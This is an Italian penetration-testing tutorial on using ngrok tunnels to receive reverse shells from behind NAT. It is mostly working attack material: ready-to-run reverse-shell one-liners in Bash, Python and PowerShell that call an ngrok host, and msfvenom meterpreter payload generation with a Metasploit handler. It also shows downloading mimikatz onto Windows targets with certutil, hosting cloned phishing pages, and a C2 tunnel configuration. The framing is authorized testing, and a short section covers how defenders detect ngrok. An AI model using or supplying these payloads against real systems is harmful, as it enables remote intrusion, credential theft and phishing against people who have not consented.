ngrok Reverse Shell: tunnel TCP e Metasploit nel Pentest

Usa ngrok nel penetration testing per creare tunnel TCP/HTTPS oltre NAT e firewall, ricevere reverse shell con Netcat o Metasploit e valutare i limiti OPSEC.
- Pubblicato il 2026-08-10
- Tempo di lettura: 7 min
Ngrok per Pentesting: Reverse Shell, TCP Tunnel, HTTP Tunnel e OPSEC #
Stai facendo un pentest da casa o da un lab senza IP pubblico, e il target deve connettersi al tuo listener per la reverse shell — ma il tuo router fa NAT e non puoi aprire porte in forwarding. Ngrok risolve questo in trenta secondi: crea un tunnel TCP pubblico verso il tuo localhost, ti dà un hostname e una porta raggiungibili da Internet, e tutto il traffico in arrivo viene inoltrato al tuo netcat/metasploit in ascolto locale.
In penetration testing ngrok viene usato per tre cose principali: ricevere reverse shell da target che non raggiungono il tuo IP privato, hostare temporaneamente pagine HTTPS per trasferire file o per simulazioni di phishing autorizzate, e fare callback da payload quando non controlli il routing di rete.
Prerequisiti: un account ngrok gratuito su ngrok.com, network pivoting come concetto base, bash per i one-liner.
Cos’è Ngrok? #
Ngrok è una piattaforma di tunneling che crea endpoint pubblicamente raggiungibili verso servizi in esecuzione su una macchina locale. Nel penetration testing lo usi per esporre temporaneamente listener e servizi HTTP/TCP senza toccare il port forwarding del router — utile quando lavori da un IP privato dietro NAT/CGNAT e il target deve raggiungerti dall’esterno.
Come funziona Ngrok? #
Target
│ Internet
▼
Ngrok Edge (cloud ngrok.io)
│ Tunnel cifrato
▼
Ngrok Client (sulla tua macchina)
│
▼
localhost:4444 → Listener localeIl client ngrok che avvii in locale apre una connessione persistente verso l’infrastruttura cloud di ngrok. Quando qualcuno raggiunge l’endpoint pubblico (es. 0.tcp.eu.ngrok.io:12345), ngrok instrada quella connessione attraverso il tunnel fino al tuo servizio locale — nel nostro caso, un listener netcat o un handler Metasploit su localhost:4444.
Ngrok vs Chisel vs Ligolo-NG vs VPS #
| Soluzione | Setup | Tunnel | Controllo infrastruttura | OPSEC | Uso ideale |
|---|---|---|---|---|---|
| ngrok | Immediato (account cloud) | HTTP/TCP | Basso | Basso | Lab, CTF, pentest con IP pubblico difficile |
| chisel | Medio (binario + server tuo) | TCP/HTTP | Alto | Alto | Pentest reale, pivoting |
| ligolo-ng | Medio-alto (TUN) | TUN | Alto | Alto | Pivoting avanzato, routing trasparente |
| VPS proprio | Più lento da preparare | Completo | Molto alto | Alto | Red team con infrastruttura dedicata |
Ngrok va benissimo per lab, CTF e demo. In un engagement reale su clienti con SOC attivo, preferisci chisel, ligolo-ng o un VPS tuo con dominio custom — il traffico verso *.ngrok.io è facilmente identificabile e bloccabile.
Installazione e Setup #
# Scarica ngrok (Linux x64)
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xvzf ngrok-v3-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/
# Oppure con snap (Kali/Ubuntu)
sudo snap install ngrok
# Verifica installazione
ngrok versionngrok version 3.22.1Poi registrati su ngrok.com (gratuito) e aggiungi il tuo authtoken:
# Incolla il tuo authtoken dal dashboard ngrok.com/your-authtoken
ngrok config add-authtoken <IL_TUO_TOKEN>
# Il token viene salvato in ~/.config/ngrok/ngrok.ymlSenza authtoken, ngrok v3 non parte. Il piano gratuito permette 1 tunnel attivo alla volta, bandwidth illimitata e sessioni di 8 ore (dati verificati ad agosto 2026 — i piani cambiano nel tempo, controlla sempre ngrok.com prima di un engagement).
Come usare Ngrok per una Reverse Shell (TCP Tunnel) #
Per ricevere una reverse shell devi esporre il tuo listener locale su Internet. Con ngrok apri un tunnel TCP sulla porta dove stai ascoltando.
# Apri tunnel TCP su porta 4444 (dove stai per ascoltare)
ngrok tcp 4444Session Status online
Account tuonome@email.com (Plan: Free)
Forwarding tcp://0.tcp.eu.ngrok.io:12345 -> localhost:4444ngrok ti dà 0.tcp.eu.ngrok.io:12345 — questo è l’indirizzo che metti nel payload della reverse shell.
# Terminale 1: listener locale
nc -lnvp 4444
# Terminale 2: tunnel ngrok
ngrok tcp 4444
# Payload da far eseguire sul target (bash)
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/12345 0>&1
# Payload Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("0.tcp.eu.ngrok.io",12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Payload PowerShell (Windows)
$client = New-Object System.Net.Sockets.TCPClient("0.tcp.eu.ngrok.io", 12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2=$sendback+"PS "+(pwd).Path+">";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()Errore tipico: copiare l’host ngrok ma dimenticare di aggiornare la porta. La porta cambia ogni volta che riavvii ngrok con il piano gratuito. Rileggi sempre l’output di
ngrok tcp 4444prima di lanciare il payload.
Come usare Ngrok con Metasploit #
# Apri tunnel
ngrok tcp 4444
# Metasploit handler locale (porta 4444, non quella ngrok)
msfconsole -q
> use exploit/multi/handler
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST 0.0.0.0 # ascolta su tutte le interfacce locali
> set LPORT 4444
> exploit -j
# Genera payload che punta a ngrok
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=0.tcp.eu.ngrok.io LPORT=12345 \
-f exe -o payload.exe
# Il target esegue payload.exe → si connette a ngrok → forwarda a metasploitCome usare Ngrok per Esporre un Server HTTP/HTTPS #
Per hostare temporaneamente una pagina web (file server per trasferire tool, o una simulazione di phishing autorizzata) esponi un server HTTP locale su HTTPS tramite ngrok.
# Avvia un semplice HTTP server Python
python3 -m http.server 8080
# Tunnel HTTP → ottieni URL HTTPS pubblica
ngrok http 8080Forwarding https://abc123.ngrok-free.app -> http://localhost:8080Adesso https://abc123.ngrok-free.app serve i tuoi file locali con HTTPS valido (certificato ngrok).
Trasferire tool sul target #
# Sull'attacker:
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
python3 -m http.server 8080
ngrok http 8080
# Sul target Windows:
certutil -urlcache -split -f "https://abc123.ngrok-free.app/mimikatz.exe" mimikatz.exe
# oppure
iwr "https://abc123.ngrok-free.app/mimikatz.exe" -OutFile mimikatz.exeSimulazioni di phishing autorizzate #
Se l’engagement prevede una campagna di phishing autorizzata, puoi usare lo stesso meccanismo per esporre temporaneamente una pagina clonata (creata con SET o GoPhish):
python3 -m http.server 80
ngrok http 80
# URL: https://abc123.ngrok-free.app → pagina phishing clonataErrore tipico: usare
ngrok http 80mentre un altro processo usa la porta 80. Usa una porta alta (8080, 8000) per il server locale e lascia che ngrok gestisca la mappatura su 443.
Come Proteggere un Tunnel Ngrok #
Per proteggere il tuo tunnel ngrok da accessi non autorizzati (altri potrebbero raggiungere il tuo endpoint):
# HTTP tunnel con Basic Auth
ngrok http 8080 --basic-auth="admin:secretpassword"
# Solo chi conosce la password vede il contenutoDashboard Ngrok: Monitorare il Traffico in Tempo Reale #
ngrok espone una dashboard locale che mostra ogni request/response in tempo reale — utile per debug e per vedere chi si connette.
# Avvia ngrok con dashboard abilitata (default)
ngrok http 8080
# Dashboard raggiungibile su
http://127.0.0.1:4040Nella dashboard vedi:
- Ogni request in arrivo (metodo, header, body)
- Response del tuo server locale
- Possibilità di fare replay di qualsiasi request
# Puoi anche usare l'API locale di ngrok
curl -s http://127.0.0.1:4041/api/tunnels | python3 -m json.tool
# Output: JSON con tutti i tunnel attivi, URL pubbliche, statisticheConfigurare Tunnel Multipli con un File YAML #
Per avviare più tunnel in una volta con opzioni personalizzate, usa un file di configurazione:
# ~/.config/ngrok/ngrok.yml
version: "3"
authtoken: <IL_TUO_TOKEN>
tunnels:
# Listener reverse shell
shell:
proto: tcp
addr: 4444
# File server HTTPS
files:
proto: http
addr: 8080
basic_auth:
- "admin:password123"
# C2 callback (HTTP)
c2:
proto: http
addr: 8000# Avvia tutti i tunnel configurati
ngrok start --all
# Avvia solo specifici tunnel
ngrok start shell filesNgrok + Chisel: Quando Combinarli #
In alcuni scenari usi ngrok per il primo accesso e poi switchi a chisel per il pivoting interno.
# Scenario: reverse shell via ngrok → poi pivoti via chisel sul tunnel ngrok
# Step 1: ricevi shell su porta 4444 via ngrok TCP
ngrok tcp 4444
nc -lnvp 4444
# Step 2: dalla shell ricevuta, scarica chisel sul target
# (usa ngrok HTTP per hostare chisel)
ngrok http 8080 &
python3 -m http.server 8080 &
# Sul target: wget https://xxx.ngrok-free.app/chisel
# Step 3: usa chisel per tunnel verso rete interna
# (vedi articolo network-pivoting-advanced)OPSEC: Ngrok è Rilevabile? #
Risposta diretta: sì, e ngrok non è pensato per essere stealth.
Rilevabile lato blue team:
- Traffico verso
*.ngrok.ioe*.ngrok-free.appè identificabile dal proxy/firewall - I DNS lookup verso
*.ngrok.ioappaiono nei log DNS - Il processo
ngrokè visibile inps auxsul sistema attaccante - ngrok registra metadata di ogni sessione (IP sorgente, timestamp)
Mitigazioni per ridurre detection:
- Usa ngrok solo in ambienti lab o CTF dove la detection non è il focus
- In engagement reale: usa chisel su VPS proprio con dominio custom
- Se devi usare ngrok: valuta un piano a pagamento per avere subdomini fissi (meno rumoroso nei log DNS)
# Su Linux, per vedere se ngrok è già usato come malware sul target
ps aux | grep ngrok
netstat -tlnp | grep ngrok
ls /tmp/ngrok* /var/tmp/ngrok*Percorso Operativo Consigliato #
1. SETUP (30 secondi)
└─ ngrok config add-authtoken <token>
└─ ngrok tcp 4444 (prendi host:porta dall'output)
2. LISTENER LOCALE
└─ nc -lnvp 4444
└─ oppure: msfconsole handler su porta 4444
3. PAYLOAD
└─ Bash one-liner con host:porta ngrok
└─ msfvenom con LHOST=ngrok_host LPORT=ngrok_port
└─ PowerShell con TCPClient ngrok
4. ESEGUI PAYLOAD SUL TARGET
└─ Shell arriva al listener locale tramite tunnel
5. POST-EXPLOITATION
└─ Upgrade shell (python pty, script -qc)
└─ Trasferisci tool via ngrok HTTP tunnel
└─ Pivot verso rete interna (vedi network-pivoting-advanced)
6. CLEANUP
└─ Ctrl+C su ngrok (tunnel chiuso)
└─ Rimuovi payload dal targetTroubleshooting #
| Problema | Causa | Soluzione |
|---|---|---|
ERR_NGROK_108 | Authtoken mancante o invalido | ngrok config add-authtoken <token> |
| Tunnel si chiude dopo qualche ora | Limite piano gratuito | Riavvia ngrok, aggiorna il payload con nuova porta |
| Porta cambia ogni restart | Piano gratuito, no porta fissa | Piano a pagamento per TCP fisso, oppure usa chisel |
address already in use | Porta locale occupata | Cambia porta locale: ngrok tcp 5555 + listener su 5555 |
| Target non si connette | Firewall blocca ngrok.io | Prova porta 443: ngrok tcp --remote-addr=0.tcp.eu.ngrok.io:443 4444 |
| Dashboard non risponde | Porta 4040 già usata | ngrok http --web-addr=0.0.0.0:4041 8080 |
| Payload non funziona su Windows | PowerShell policy bloccata | Usa cmd.exe one-liner o certutil per download |
Domande Frequenti su Ngrok nel Pentesting #
Cos’è Ngrok nel pentesting? Uno strumento di tunneling che espone un servizio locale (listener, web server) su un endpoint pubblico raggiungibile da Internet, senza toccare il port forwarding del router.
Come funziona un tunnel Ngrok? Il client ngrok sulla tua macchina apre una connessione persistente verso l’infrastruttura cloud di ngrok. Il traffico che arriva sull’endpoint pubblico viene instradato attraverso quel tunnel fino al tuo servizio locale.
Ngrok è gratis? Sì, il piano Free è sufficiente per lab e CTF. I piani a pagamento aggiungono porte TCP fisse e subdomini custom — verifica i dettagli aggiornati su ngrok.com.
Il target deve avere ngrok installato? No. Ngrok gira solo sull’attacker. Sul target va solo il payload (bash one-liner, exe, script) che si connette all’URL ngrok.
Ngrok supporta TCP?
Sì, oltre a HTTP/HTTPS. ngrok tcp <porta> è il modo con cui in pentest ricevi reverse shell attraverso NAT/firewall.
La reverse shell passa attraverso i server ngrok? Sì. Il traffico transita dai server ngrok. È cifrato con TLS, ma ngrok vede i metadati della connessione (IP sorgente, timestamp).
Ngrok è sicuro? Il traffico è cifrato in transito, ma dipendi comunque dall’infrastruttura di un terzo — non è equivalente a un tunnel su un VPS che controlli tu.
Ngrok è stealth? Può essere rilevato da un firewall?
No, non è stealth. Domini *.ngrok.io/*.ngrok-free.app sono facilmente riconoscibili da proxy, firewall e log DNS.
Ngrok è meglio di Chisel o Ligolo-NG? Per velocità di setup in lab/CTF sì. Per OPSEC e controllo dell’infrastruttura in un engagement reale, no — chisel e ligolo-ng su un server tuo offrono più controllo e meno rumore.
Posso usarlo su Kali senza GUI?
Perfettamente. ngrok è CLI-only, funziona in qualsiasi terminale. La dashboard su 127.0.0.1:4040 è opzionale.
Cheat Sheet Finale #
=== SETUP ===
Install: wget + tar oppure snap install ngrok
Auth: ngrok config add-authtoken <TOKEN>
=== TCP TUNNEL (reverse shell) ===
Tunnel: ngrok tcp 4444
Listener: nc -lnvp 4444
Payload: bash -i >& /dev/tcp/<host_ngrok>/<port_ngrok> 0>&1
Msfvenom: msfvenom ... LHOST=<host_ngrok> LPORT=<port_ngrok> ...
=== HTTP TUNNEL (file server / phishing) ===
Server: python3 -m http.server 8080
Tunnel: ngrok http 8080
URL pubblica: https://<random>.ngrok-free.app
=== AUTENTICAZIONE ===
Basic auth: ngrok http 8080 --basic-auth="user:pass"
=== DASHBOARD ===
Web UI: http://127.0.0.1:4040
API locale: curl http://127.0.0.1:4041/api/tunnels
=== CONFIG FILE ===
Path: ~/.config/ngrok/ngrok.yml
Start all: ngrok start --all
Start some: ngrok start shell files
=== TRASFERIMENTO FILE ===
Host: python3 -m http.server 8080 && ngrok http 8080
Download: certutil -urlcache -split -f "https://<url>/tool.exe" tool.exe
iwr "https://<url>/tool.exe" -OutFile tool.exe # PowerShell
wget https://<url>/tool # Linux
=== OPSEC ===
Rilevabile: traffico *.ngrok.io nei log DNS/proxy
Alternativa: chisel/ligolo-ng su VPS proprio
Detection: ps aux | grep ngrok | netstat | grep ngrokGuide correlate su hackita.it:
- Network Pivoting Avanzato: Chisel, Ligolo-NG, Tunnel SSH
- Post-Exploitation e Pivoting
- Linux Enumeration dopo l’accesso iniziale
- Bash: Script e One-Liner per Pentesting








